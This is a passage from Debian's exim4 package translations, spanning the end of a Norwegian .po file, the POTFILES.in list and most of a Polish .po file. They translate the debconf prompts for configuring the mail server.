../exim4-config.templates:6001 msgid "" "If this system should not be a smarthost for any other host, leave this list " "blank." msgstr "" "Hvis dette systemet ikke skal være smartvert for noen andre systemer, så la " "lista være tom." #. Type: string #. Description #: ../exim4-config.templates:7001 msgid "Visible domain name for local users:" msgstr "Synlig domenenavn for lokale brukere:" #. Type: string #. Description #: ../exim4-config.templates:7001 msgid "" "The option to hide the local mail name in outgoing mail was enabled. It is " "therefore necessary to specify the domain name this system should use for " "the domain part of local users' sender addresses." msgstr "" "Valget om å skjule det lokale e-postnavnet i utående e-post er slått på. Det " "er derfor nødvendig å oppgi det domenenavnet dette systemet skal bruke i " "domenedelen av lokale brukeres avsenderadresse." #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "IP address or host name of the outgoing smarthost:" msgstr "IP-adresse eller vertsnavn for utgående smartvert:" #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "" "Please enter the IP address or the host name of a mail server that this " "system should use as outgoing smarthost. If the smarthost only accepts your " "mail on a port different from TCP/25, append two colons and the port number " "(for example smarthost.example::587 or 192.168.254.254::2525). Colons in " "IPv6 addresses need to be doubled." msgstr "" "Oppgi IP-adresse eller vertsnavn for en e-posttjener som dette systemet skal " "bruke som utgående smartvert. Hvis smartverten bare tar i mot e-post på en " "annen port enn TCP/24, så legg til to koloner og portnummeret (f.eks. " "smartvert.eksempel::587 eller 192.168.254.254::2525). Kolon i IPv6-adresser " "må dobles." #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "" "If the smarthost requires authentication, please refer to the Debian-" "specific README files in /usr/share/doc/exim4-base for notes about setting " "up SMTP authentication." msgstr "" "Hvis smartverten krever autentisering, les den Debian spesifikke README-" "filen i /usr/share/doc/exim4-base for informasjon om hvordan man setter opp " "SMTP-autentisering." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "Root and postmaster mail recipient:" msgstr "Mottaker for root- og postmaster-epost:" #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "" "Mail for the 'postmaster', 'root', and other system accounts needs to be " "redirected to the user account of the actual system administrator." msgstr "" "Post til «postmaster», «root» og andre systemkontoer må videresendes til " "brukerkontoen til den som er systemadministrator." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "" "If this value is left empty, such mail will be saved in /var/mail/mail, " "which is not recommended." msgstr "" "Hvis dette står tomt, blir slik e-post lagret i /var/mail/mail, dette " "anbefales ikke." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "" "Note that postmaster's mail should be read on the system to which it is " "directed, rather than being forwarded elsewhere, so (at least one of) the " "users listed here should not redirect their mail off this machine. A 'real-' " "prefix can be used to force local delivery." msgstr "" "Merk at e-post til «postmaster» bør leses på det systemet den er adressert " "til og ikke videresendes til andre systemer, så (minst en av) brukerne du " "velger bør ikke ha e-posten sin videresendt fra denne maskinen. Bruk et " "«real»- prefiks for å tvinge fram lokal levering." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "Multiple user names need to be separated by spaces." msgstr "Om du oppgir flere brukernavn, så må de være skilt med mellomrom." #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "IP-addresses to listen on for incoming SMTP connections:" msgstr "IP-adresser det skal lyttes på etter innkommende SMTP-tilkoblinger:" #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "" "Please enter a semicolon-separated list of IP addresses. The Exim SMTP " "listener daemon will listen on all IP addresses listed here." msgstr "" "Oppgi en liste over IP-adresser, atskilt med semikolon. Exims SMTP-nisse vil " "lytte på alle IP-adresser oppgitt her." #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "" "An empty value will cause Exim to listen for connections on all available " "network interfaces." msgstr "" "Hvis du lar denne verdien stå tom, vil Exim lytte etter tilkoblinger på alle " "tilgjengelige nettverksgrensesnitt." #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "" "If this system only receives mail directly from local services (and not from " "other hosts), it is suggested to prohibit external connections to the local " "Exim daemon. Such services include e-mail programs (MUAs) which talk to " "localhost only as well as fetchmail. External connections are impossible " "when 127.0.0.1 is entered here, as this will disable listening on public " "network interfaces." msgstr "" "Hvis denne maskinen mottar e-post bare fra lokale tjenester (og ikke fra " "andre tjenere), bør du forby eksterne tilkoblinger til den lokale Exim " "nissen. Slike tjenester inkluderer e-post-programmet ditt (MUA-en din) som " "kun snakker mot localhost og for eksempel fetchmail. Eksterne tilkoblinger " "er umulig hvis 127.0.0.1 oppgies her, siden dette skrur av lytting på " "offentlige nettverksgrensesnitt." #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?" msgstr "Minimer antall DNS-forespørsler (oppringning-etter-behov)?" #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "In normal mode of operation Exim does DNS lookups at startup, and when " "receiving or delivering messages. This is for logging purposes and allows " "keeping down the number of hard-coded values in the configuration." msgstr "" "Vanligvis vil Exim gjøre DNS-oppslag ved oppstart, ved sending og mottak av " "e-post, osv. Dette er for logging osv. og for å begrense behovet for " "hardkodede verdier i oppsettsfila." #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "If this system does not have a DNS full service resolver available at all " "times (for example if its Internet access is a dial-up line using dial-on-" "demand), this might have unwanted consequences. For example, starting up " "Exim or running the queue (even with no messages waiting) might trigger a " "costly dial-up-event." msgstr "" "Hvis dette er en maskin uten permanent tilgang til DNS-navnetjenere (f.eks. " "Internett-tilgangen er en oppringt linje med oppringning etter behov), kan " "dette ha den uønskede konsekvensen at det å starte opp Exim eller å behandle " "køen (selv uten noen ventende meldinger) kan aktivere en dyr oppringing." #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "This option should be selected if this system is using Dial-on-Demand. If it " "has always-on Internet access, this option should be disabled." msgstr "" "Dette bør slås på hvis dette systemet bruker oppringing ved behov. Hvis " "systemet har Internett-tilgang alltid på, bør dette slås av." #. Type: title #. Description #: ../exim4-config.templates:12001 msgid "Mail Server configuration" msgstr "Oppsett av e-post-tjener" #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "Split configuration into small files?" msgstr "Del oppsettet i mindre filer?" #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "" "The Debian exim4 packages can either use 'unsplit configuration', a single " "monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', " "where the actual Exim configuration files are built from about 50 smaller " "files in /etc/exim4/conf.d/." msgstr "" "Debians exim4-pakker kan enten bruke «uoppdelt oppsett», en enkelt " "monolittisk fil (/etc/exim4/exim4.conf.template) eller «oppdelt oppsett» der " "omtrent 50 småfiler i /etc/exim4/conf.d/ brukes for å generere det ferdige " "oppsettet." #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "" "Unsplit configuration is better suited for large modifications and is " "generally more stable, whereas split configuration offers a comfortable way " "to make smaller modifications but is more fragile and might break if " "modified carelessly." msgstr "" "Uoppdelt oppsett er bedre egnet for store endringer og er generelt mer " "stabil, mens oppdelt oppsett tilbyr en komfortabel måte å gjøre små " "endringer på, men er skjørere og kan brekke hvis den endres uforsiktig." #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "" "A more detailed discussion of split and unsplit configuration can be found " "in the Debian-specific README files in /usr/share/doc/exim4-base." msgstr "" "Oppdelt og uoppdelt oppsett drøftes mer inngående i den Debian spesifikke " "README-filen i /usr/share/doc/exim4-base." #. Type: boolean #. Description #: ../exim4-config.templates:14001 msgid "Hide local mail name in outgoing mail?" msgstr "Skjul lokalt postnavn i utgående post?" #. Type: boolean #. Description #: ../exim4-config.templates:14001 msgid "" "The headers of outgoing mail can be rewritten to make it appear to have been " "generated on a different system. If this option is chosen, '${mailname}', " "'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-" "Path are rewritten." msgstr "" "Hodene i utgående post kan skrives om slik at det ser ut til at den er laget " "på et annet system. Hvis dette velges, blir «${mailname}» «localhost» og " "«${dc_other_hostnames}» omskrevet i From, Reply-To, Sender og Return-Path." #. Type: select #. Choices #: ../exim4-config.templates:15001 msgid "mbox format in /var/mail/" msgstr "mbox format i /var/mail/" #. Type: select #. Choices #: ../exim4-config.templates:15001 msgid "Maildir format in home directory" msgstr "Maildir-format i hjemmekatalogen" #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "Delivery method for local mail:" msgstr "Leveringsmetode for lokal e-post:" #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "" "Exim is able to store locally delivered email in different formats. The most " "commonly used ones are mbox and Maildir. mbox uses a single file for the " "complete mail folder stored in /var/mail/. With Maildir format every single " "message is stored in a separate file in ~/Maildir/." msgstr "" "Exim kan lagre e-post levert lokalt i forskjellige formater. De mest brukte " "er mbox og Maildir. mbox bruker én fil for hele e-postmappa lagret i /var/" "mail/. Med Maildir-format lagres hver melding i en egen fil i ~/Maildir/." #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "" "Please note that most mail tools in Debian expect the local delivery method " "to be mbox in their default." msgstr "" "Merk at de fleste e-postverktøy i Debian forventer i standard-oppsettene " "sine at lokal leveringsmåte er mbox." #, fuzzy #~ msgid "Move undelivered mails from exim 3 to exim4 spool?" #~ msgstr "Flytte ikke-levert e-post fra exim(v3) til exim4-køen?" #, fuzzy #~ msgid "" #~ "There are some undelivered mails in exim 3 (or exim-tls 3) spool " #~ "directory /var/spool/exim/input/." #~ msgstr "" #~ "Det finnes e-post i exims(v3) eller exim-tls'(v3) køkatalog /var/spool/" #~ "exim/input som ennå ikke er blitt levert." #~ msgid "" #~ "Choosing this option will move these messages to exim4's spool (/var/" #~ "spool/exim4/input/) where they will be handled by exim4." #~ msgstr "" #~ "Om dette krysses av blir disse flyttet til exim4s kø (/var/spool/exim4/" #~ "input), hvor de vil bli håndtert av exim4." #, fuzzy #~ msgid "" #~ "This works only one-way: Exim4 can handle Exim 3 spool but not vice-" #~ "versa. If you reject this option, you need to move the messages yourself " #~ "or they will never be delivered." #~ msgstr "" #~ "Dette virker bare den ene veien: Exim4 kan behandle køen til exim(v3), " #~ "men ikke omvendt. Meldingene bør flyttes bare dersom exim(v3) ikke skal " #~ "installeres igjen, ellers kan meldingene flyttes manuelt senere." #~ msgid "Leaving this list blank will have Exim do no local deliveries." #~ msgstr "Hvis denne lista er tom vil Exim ikke levere lokal e-post." debian/po/POTFILES.in0000644000000000000000000000037012027557533011372 0ustar [type: gettext/rfc822deb] exim4-base.templates [type: gettext/rfc822deb] exim4-config.templates [type: gettext/rfc822deb] exim4-daemon-heavy.templates [type: gettext/rfc822deb] exim4-daemon-light.templates [type: gettext/rfc822deb] exim4.templates debian/po/pl.po0000644000000000000000000006007612027557533010601 0ustar # translation of exim_exim_debian_pl.po to Polish # # Translators, if you are not familiar with the PO format, gettext # documentation is worth reading, especially sections dedicated to # this format, e.g. by running: # info -n '(gettext)PO Files' # info -n '(gettext)Header Entry' # Some information specific to po-debconf are available at # /usr/share/doc/po-debconf/README-trans # or http://www.debian.org/intl/l10n/po-debconf/README-trans# # Developers do not need to manually edit POT or PO files. # Tomasz Z. Napierala , 2004. # Bartosz Fenski , 2004 # Marcin Owsiany , 2008 msgid "" msgstr "" "Project-Id-Version: exim_exim_debian_pl\n" "Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n" "POT-Creation-Date: 2007-07-18 08:29+0200\n" "PO-Revision-Date: 2008-04-27 19:34+0100\n" "Last-Translator: Marcin Owsiany \n" "Language-Team: Polish \n" "Language: pl\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "X-Generator: KBabel 1.3.1\n" #. Type: boolean #. Description #: ../exim4-base.templates:1001 msgid "Remove undelivered messages in spool directory?" msgstr "Usunąć niedostarczoną pocztę z katalogu kolejki?" #. Type: boolean #. Description #: ../exim4-base.templates:1001 msgid "" "There are e-mail messages in the Exim spool directory /var/spool/exim4/" "input/ which have not yet been delivered. Removing Exim will cause them to " "remain undelivered until Exim is re-installed." msgstr "" "W katalogu kolejki exima /var/spool/exim4/input istnieją wiadomości, które " "nie zostały jeszcze dostarczone. Po usunięciu exima będą tam leżały " "niedostarczone, aż do ponownej jego instalacji." #. Type: boolean #. Description #: ../exim4-base.templates:1001 msgid "" "If this option is not chosen, the spool directory is kept, allowing the " "messages in the queue to be delivered at a later date after Exim is re-" "installed." msgstr "" "Jeśli nie wybierzesz tej opcji, katalog kolejki nie zostanie usunięty, co " "pozwoli na dostarczenie oczekujących wiadomości w przyszłości, jeśli Exim " "zostanie ponownie zainstalowany." #. Type: error #. Description #: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 #: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 msgid "Reconfigure exim4-config instead of this package" msgstr "Uruchom rekonfigurację exim4-config, zamiast tego pakietu" #. Type: error #. Description #: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 #: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 msgid "" "Exim4 has its configuration factored out into a dedicated package, exim4-" "config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'." msgstr "" "Konfiguracja Exim4 znajduje się w osobnym pakiecie, exim4-config. Aby ją " "zmienić, uruchom \"dpkg-reconfigure exim4-config\"." #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "internet site; mail is sent and received directly using SMTP" msgstr "ośrodek internetowy - poczta jest przesyłana bezpośrednio przez SMTP" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "mail sent by smarthost; received via SMTP or fetchmail" msgstr "" "poczta wysyłana przez pośrednika - otrzymywana przez SMTP lub fetchmail" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "mail sent by smarthost; no local mail" msgstr "poczta wysyłana przez pośrednika - bez dostarczania lokalnego" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "local delivery only; not on a network" msgstr "tylko dostarczanie lokalne - bez dostępu do sieci" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "no configuration at this time" msgstr "nie konfiguruj w tym momencie" #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "General type of mail configuration:" msgstr "Ogólne typy konfiguracji poczty:" #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "" "Please select the mail server configuration type that best meets your needs." msgstr "" "Wybierz typ konfiguracji serwera poczty, który najbardziej Ci odpowiada." #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "" "Systems with dynamic IP addresses, including dialup systems, should " "generally be configured to send outgoing mail to another machine, called a " "'smarthost' for delivery because many receiving systems on the Internet " "block incoming mail from dynamic IP addresses as spam protection." msgstr "" "Komputery bez stałego adresu IP, w tym połączenia wdzwaniane, powinny " "wysyłać pocztę za pośrednictwem innego komputera o stałym adresie, zwanego " "\"smarthost\", ponieważ wiele systemów w Internecie odrzuca pocztę wysyłaną " "bezpośrednio ze zmiennych adresów IP w obawie przed spamem." #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "" "A system with a dynamic IP address can receive its own mail, or local " "delivery can be disabled entirely (except mail for root and postmaster)." msgstr "" "Taki system może lokalnie przyjmować skierowaną do niego pocztę. Można też " "zupełnie wyłączyć lokalne dostarczanie poczty (oprócz poczty do użytkowników " "root i postmaster)." #. Type: boolean #. Description #: ../exim4-config.templates:2001 msgid "Really leave the mail system unconfigured?" msgstr "Naprawdę pozostawić system poczty nieskonfigurowany?" #. Type: boolean #. Description #: ../exim4-config.templates:2001 msgid "" "Until the mail system is configured, it will be broken and cannot be used. " "Configuration at a later time can be done either by hand or by running 'dpkg-" "reconfigure exim4-config' as root." msgstr "" "Twój system poczty pozostanie bezużyteczny dopóki nie zostanie " "skonfigurowany. Można go oczywiście skonfigurować później: albo ręcznie, " "albo uruchamiając jako root polecenie \"dpkg-reconfigure exim4-config\"." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "System mail name:" msgstr "Nazwa pocztowa systemu:" #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "The 'mail name' is the domain name used to 'qualify' mail addresses without " "a domain name." msgstr "" "\"Nazwa pocztowa\" to nazwa domeny dopisywana automatycznie do adresów bez " "domeny." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "This name will also be used by other programs. It should be the single, " "fully qualified domain name (FQDN)." msgstr "" "Nazwa ta będzie również używana przez inne programy, powinna ona być pełną " "nazwą domeny." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "Thus, if a mail address on the local host is foo@example.org, the correct " "value for this option would be example.org." msgstr "" "Jeśli przykładowy adres pocztowy na tym systemie to bla@przyklad.pl, to " "właściwą wartością tej opcji jest przyklad.pl." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "This name won't appear on From: lines of outgoing messages if rewriting is " "enabled." msgstr "" "Nazwa ta nie będzie się pojawiać w polu From: wychodzących wiadomości jeżeli " "włączysz mechanizm przepisywania." #. Type: string #. Description #: ../exim4-config.templates:4001 msgid "Other destinations for which mail is accepted:" msgstr "Inne systemy docelowe dla których poczta jest przyjmowana:" #. Type: string #. Description #: ../exim4-config.templates:4001 msgid "" "Please enter a semicolon-separated list of recipient domains for which this " "machine should consider itself the final destination. These domains are " "commonly called 'local domains'. The local hostname (${fqdn}) and " "'localhost' are always added to the list given here." msgstr "" "Wprowadź rozdzieloną średnikami listę domen dla których ten komputer jest " "miejscem docelowym. Domeny te są popularnie zwane \"domenami lokalnymi\". " "Lokalną nazwa komputera (${fqdn}) i \"localhost\" zostaną automatycznie " "dopisane do wprowadzonej listy." #. Type: string #. Description #: ../exim4-config.templates:4001 msgid "" "By default all local domains will be treated identically. If both a.example " "and b.example are local domains, acc@a.example and acc@b.example will be " "delivered to the same final destination. If different domain names should be " "treated differently, it is necessary to edit the config files afterwards." msgstr "" "Domyślnie wszystkie domeny lokalne będą traktowane tak samo. Jeśli domeny a." "przyklad i b.przyklad są domenami lokalnymi, to poczta dla ktos@a.przyklad i " "ktos@b.przyklad trafi w to samo miejsce. Jeśli różne domeny mają być " "traktowane w różny sposób, konieczna jest późniejsza modyfikacja plików " "konfiguracyjnych." #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "Domains to relay mail for:" msgstr "Domeny dla których przekazywać pocztę:" #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "" "Please enter a semicolon-separated list of recipient domains for which this " "system will relay mail, for example as a fallback MX or mail gateway. This " "means that this system will accept mail for these domains from anywhere on " "the Internet and deliver them according to local delivery rules." msgstr "" "Wprowadź rozdzieloną średnikami listę domen adresatów, dla których ten " "system będzie przekazywać pocztę, na przykład jako zapasowy MX lub bramka " "pocztowa. Poczta dla tych domen będzie przyjmowana z dowolnego miejsca " "Internetu, a następnie dostarczana według lokalnych zasad." #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "Do not mention local domains here. Wildcards may be used." msgstr "Nie uwzględniaj tutaj lokalnych domen. Możesz używać znaku \"*\"." #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "Machines to relay mail for:" msgstr "Komputery dla których przekazywać pocztę:" #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "Please enter a semicolon-separated list of IP address ranges for which this " "system will unconditionally relay mail, functioning as a smarthost." msgstr "" "Wprowadź rozdzieloną średnikami listę zakresów adresów IP, od których ten " "system ma bezwarunkowo przyjmować pocztę, działając na zasadzie pośrednika." #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "You should use the standard address/prefix format (e.g. 194.222.242.0/24 or " "5f03:1200:836f::/48)." msgstr "" "Należy użyć standarowego formatu adres/długość (np. 194.222.242.0/24 lub " "5f03:1200:836f::/48)." #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "If this system should not be a smarthost for any other host, leave this list " "blank." msgstr "" "Jeśli ten system nie powinien być pośrednikiem dla żadnego innego systemu, " "zostaw tą listę pustą." #. Type: string #. Description #: ../exim4-config.templates:7001 msgid "Visible domain name for local users:" msgstr "Widoczna nazwa domeny dla lokalnych użytkowników:" #. Type: string #. Description #: ../exim4-config.templates:7001 msgid "" "The option to hide the local mail name in outgoing mail was enabled. It is " "therefore necessary to specify the domain name this system should use for " "the domain part of local users' sender addresses." msgstr "" "Wybrano opcję ukrywania lokalnej nazwy pocztowej w poczcie wychodzącej. Z " "tego powodu musisz wprowadzić nazwę domeny, jaka ma być używana w adresach " "lokalnych nadawców." #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "IP address or host name of the outgoing smarthost:" msgstr "Adres IP lub nazwa pośrednika przyjmującego wychodzącą pocztę:" #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "" "Please enter the IP address or the host name of a mail server that this " "system should use as outgoing smarthost. If the smarthost only accepts your " "mail on a port different from TCP/25, append two colons and the port number " "(for example smarthost.example::587 or 192.168.254.254::2525). Colons in " "IPv6 addresses need to be doubled." msgstr "" "Proszę podać adres IP lub nazwę serwera poczty, który będzie przyjmował całą " "pocztę wychodzącą z tego systemu. Jeśli przyjmuje on pocztę na porcie innym " "niż TCP/25, podaj też numer portu po dwóch dwukropkach (na przykład poczta." "przyklad.pl::587 lub 192.168.254.254::2525). Należy także podwoić dwukropki " "w adresach IPv6." #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "" "If the smarthost requires authentication, please refer to the Debian-" "specific README files in /usr/share/doc/exim4-base for notes about setting " "up SMTP authentication." msgstr "" "Jeżeli pośrednik wymaga uwierzytelniania, proszę zapoznać się z Debianowymi " "plikami README w /usr/share/doc/exim4-base, które zawierają uwagi na temat " "konfiguracji uwierzytelniania." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "Root and postmaster mail recipient:" msgstr "Odbiorca poczty dla kont root i postmaster:" #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "" "Mail for the 'postmaster', 'root', and other system accounts needs to be " "redirected to the user account of the actual system administrator." msgstr "" "Poczta dla użytkowników \"postmaster\", \"root\" i innych kont systemowych " "powinna być przekazywana na właściwe konto użytkownika, który jest " "administratorem." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "" "If this value is left empty, such mail will be saved in /var/mail/mail, " "which is not recommended." msgstr "" "Jeśli zostawisz tą wartość pustą, poczta ta będzie zapisywana w /var/mail/" "mail, co nie jest zalecane." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "" "Note that postmaster's mail should be read on the system to which it is " "directed, rather than being forwarded elsewhere, so (at least one of) the " "users listed here should not redirect their mail off this machine. A 'real-' " "prefix can be used to force local delivery." msgstr "" "Poczty dla \"postmastera\" nie powinno się przesyłać do innego systemu, " "tylko czytać lokalnie. Dlatego conajmniej jeden z podanych użytkowników nie " "powinien przekierowywać poczty na inny komputer. Aby wymusić lokalne " "dostarczanie można użyć przedrostka \"real-\"." # Tak chyba lepiej niż kombinowanie z "Wiele nazw [...]" #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "Multiple user names need to be separated by spaces." msgstr "Wprowadź jedną lub kilka nazw użytkowników, rozdzielone spacjami." #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "IP-addresses to listen on for incoming SMTP connections:" msgstr "Adresy IP, na których nasłuchiwać nadchodzących połączeń:" #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "" "Please enter a semicolon-separated list of IP addresses. The Exim SMTP " "listener daemon will listen on all IP addresses listed here." msgstr "" "Wprowadź rozdzieloną średnikami listę adresów IP. Daemon SMTP Exima będzie " "nasłuchiwał na wszystkich tych adresach." #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "" "An empty value will cause Exim to listen for connections on all available " "network interfaces." msgstr "" "Pusta wartość spowoduje, że Exim będzie nasłuchiwał na wszystkich dostępnych " "interfejsach sieciowych." # To tłumaczenie nieco odbiega od oryginału, ale jest IMHO znacznie mniej # zawiłe, a niesie tyle samo treści. #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "" "If this system only receives mail directly from local services (and not from " "other hosts), it is suggested to prohibit external connections to the local " "Exim daemon. Such services include e-mail programs (MUAs) which talk to " "localhost only as well as fetchmail. External connections are impossible " "when 127.0.0.1 is entered here, as this will disable listening on public " "network interfaces." msgstr "" "Jeżeli ten komputer otrzymuje pocztę wyłącznie od lokalnych usług, takich " "jak programy pocztowe lub fetchmail (a nie od innych komputerów), zaleca się " "zabronić połączeń z zewnątrz do lokalnego serwera Exim. Jeśli podasz tu " "tylko adres 127.0.0.1, połączenia do Exima z zewnątrz nie będą możliwe." #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?" msgstr "" "Utrzymywać ilość zapytań DNS na minimalnym poziomie (dzwonienie na żądanie)? " #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "In normal mode of operation Exim does DNS lookups at startup, and when " "receiving or delivering messages. This is for logging purposes and allows " "keeping down the number of hard-coded values in the configuration." msgstr "" "W normalnym trybie pracy Exim wykonuje zapytania DNS podczas startu, " "otrzymywania i dostarczania poczty, w celach logowania zdarzeń. Umożliwia to " "też ograniczenie ilości sztywnych wartości w plikach konfiguracji." #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "If this system does not have a DNS full service resolver available at all " "times (for example if its Internet access is a dial-up line using dial-on-" "demand), this might have unwanted consequences. For example, starting up " "Exim or running the queue (even with no messages waiting) might trigger a " "costly dial-up-event." msgstr "" "Na systemach bez stałego dostępu do serwera DNS (na przykład używających " "\"dzwonienia na żądanie\"), może to powodować niechciane konsekwencje. Dla " "przykładu, uruchomienie Exima lub kolejki (nawet bez oczekujących " "wiadomości) może wywołać wdzwanianie do ISP." #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "This option should be selected if this system is using Dial-on-Demand. If it " "has always-on Internet access, this option should be disabled." msgstr "" "Należy wybrać tą opcję jeśli system używa \"dzwonienia na żądanie\". Jeśli " "dostęp do Internetu jest stały, opcję tą należy wyłączyć." #. Type: title #. Description #: ../exim4-config.templates:12001 msgid "Mail Server configuration" msgstr "Konfiguracja serwera poczty" #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "Split configuration into small files?" msgstr "Podzielić konfigurację na małe pliki?" #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "" "The Debian exim4 packages can either use 'unsplit configuration', a single " "monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', " "where the actual Exim configuration files are built from about 50 smaller " "files in /etc/exim4/conf.d/." msgstr "" "Debianowe pakiety exima4 mogą używać \"zwartej konfiguracji\", czyli " "pojedynczego pliku konfiguracyjnego /etc/exim4/exim4.conf.template, albo " "\"podzielonej konfiguracji\", gdzie do właściwa konfiguracja jest budowana z " "około 50 mniejszych plików w /etc/exim4/conf.d/." #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "" "Unsplit configuration is better suited for large modifications and is " "generally more stable, whereas split configuration offers a comfortable way " "to make smaller modifications but is more fragile and might break if " "modified carelessly." msgstr "" "\"Zwarta konfiguracja\" nadaje się lepiej do obszernych modyfikacji i jest " "ogólnie bardziej stabilna, natomiast \"podzielona konfiguracja\" daje " "możliwość wygodnego wprowadzania niewielkich modyfikacji, przy czym jest " "bardziej krucha i łatwiej ją popsuć przy nieostrożnych zmianach." #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "" "A more detailed discussion of split and unsplit configuration can be found " "in the Debian-specific README files in /usr/share/doc/exim4-base." msgstr "" "Więcej informacji na temat obu typów konfiguracji można znaleźć w plikach " "README Debiana w /usr/share/doc/exim4-base." #. Type: boolean #. Description #: ../exim4-config.templates:14001 msgid "Hide local mail name in outgoing mail?" msgstr "Ukrywać lokalną nazwę w wychodzącej poczcie?" #. Type: boolean #. Description #: ../exim4-config.templates:14001 msgid "" "The headers of outgoing mail can be rewritten to make it appear to have been " "generated on a different system. If this option is chosen, '${mailname}', " "'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-" "Path are rewritten." msgstr "" "Nagłówki wychodzącej poczty mogą być przepisywane, aby sprawić wrażenie, że " "pochodzi ona z innego komputera. Jeśli wybierzesz tą opcję, podmieniane będą " "\"${mailname}\", \"localhost\" oraz \"${dc_other_hostnames}\" w nagłówkach " "From, Reply-To, Sender oraz Return-Path." #. Type: select #. Choices #: ../exim4-config.templates:15001 msgid "mbox format in /var/mail/" msgstr "format mbox w /var/mail/" #. Type: select #. Choices #: ../exim4-config.templates:15001 msgid "Maildir format in home directory" msgstr "Format Maildir w katalogu domowym" #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "Delivery method for local mail:" msgstr "Format dostarczania poczty lokalnie:" #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "" "Exim is able to store locally delivered email in different formats. The most " "commonly used ones are mbox and Maildir. mbox uses a single file for the " "complete mail folder stored in 